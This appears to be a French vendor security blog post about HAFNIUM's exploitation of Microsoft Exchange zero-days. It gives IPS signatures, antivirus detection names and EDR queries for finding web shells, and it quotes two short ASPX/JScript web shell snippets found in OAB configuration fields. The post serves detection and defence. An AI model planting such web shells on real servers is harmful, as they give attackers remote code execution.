Quatre nouvelles vulnérabilités zero-day affectant Microsoft Exchange sont activement exploitées sur le terrain par HAFNIUM, un acteur malveillant à priori de type État-nation.
Toute personne utilisant des serveurs Exchange sur-site doit les corriger sans délai et rechercher sur ses réseaux de potentiels indicateurs d’attaque.
Protections Sophos contre HAFNIUM
Les clients utilisant Sophos MTR et les solutions network/endpoint security bénéficient de multiples protections contre l’exploitation de ces nouvelles vulnérabilités.
Sophos MTR
L’équipe Sophos MTR surveille les environnements de nos clients afin de détecter les comportements associés à ces vulnérabilités depuis l’annonce de leur apparition. Si nous identifions une activité malveillante liée à ces vulnérabilités, nous ouvrirons un dossier et vous contacterons directement.
Pare-feu Sophos
Les SophosLabs ont publié des signatures IPS pour les clients utilisant SFOS et XFOS :
CVE | SID |
CVE-2021-26855 | 57241, 57242, 57243, 57244, 2305106, 2305107 |
CVE-2021-26857 | 57233, 57234 |
CVE-2021-26858 | 57245, 57246 |
CVE-2021-27065 | 57245, 57246 |
Si vous voyez ces noms de détection sur vos réseaux, vous devez investiguer davantage et y remédier.
Sophos Intercept X Advanced et Sophos Antivirus (SAV)
Les clients peuvent surveiller les signatures AV suivantes pour identifier les attaques HAFNIUM potentielles :
Les Web shells concernés :
- Troj/WebShel-L
- Troj/WebShel-M
- Troj/WebShel-N
- Troj/ASPDoor-T
- Troj/AspScChk-A
Les autres charges virales :
- ATK/Pivot-B
- AMSI/PowerCat-A (Powercat)
- AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)
En raison de la nature dynamique des Web shells, ces derniers sont bloqués mais doivent être supprimées manuellement. Si vous voyez ces noms de détection sur vos réseaux, vous devez investiguer davantage et y remédier.
Nous avons également bloqué les destinations IP C2 pertinentes, lorsque nous pouvions le faire en toute sécurité.
De plus, les étapes “lsass dump” de l’attaque sont bloquées par la protection des identifiants (CredGuard) incluse dans tous les abonnements Intercept X Advanced.
Sophos EDR
Les clients de Sophos EDR peuvent exploiter des requêtes pré-préparées afin d’identifier les potentiels Web shells à analyser :
/* Query for known web shell names */ SELECT datetime(btime,'unixepoch') AS created_time, filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%') AND filename IN ('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx','errorFF.aspx','web.aspx','healthcheck.aspx','aspnet_www.aspx','aspnet_client.aspx','xx.aspx','shell.aspx','aspnet_iisstart.aspx','one.aspx','errorcheck.aspx','t.aspx','discover.aspx','aspnettest.aspx','error.aspx','RedirSuiteServerProxy.aspx','shellex.aspx','supp0rt.aspx','HttpProxy.aspx','system_web.aspx','OutlookEN.aspx','TimeoutLogout.aspx','Logout.aspx','OutlookJP.aspx','MultiUp.aspx','OutlookRU.aspx');
/* Query for web shells with randomized 8 character names */ SELECT datetime(btime,'unixepoch') AS created_time, regex_match(filename, '[0-9a-zA-Z]{8}.aspx', 0) AS filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%');
Lors de l’examen des Web shells potentiels identifiés par les requêtes, le Web shell apparaît généralement dans un fichier de configuration de type Exchange Offline Address Book (OAB), dans le champ ExternalUrl. Par exemple :
ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>
ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>
Identification des signes de compromission
L’équipe Sophos MTR a publié un guide pour vous accompagner étape par étape dans la recherche de potentiels signes de compromission sur votre réseau.
Billet inspiré de Protecting Sophos customers from HAFNIUM, sur le Blog Sophos.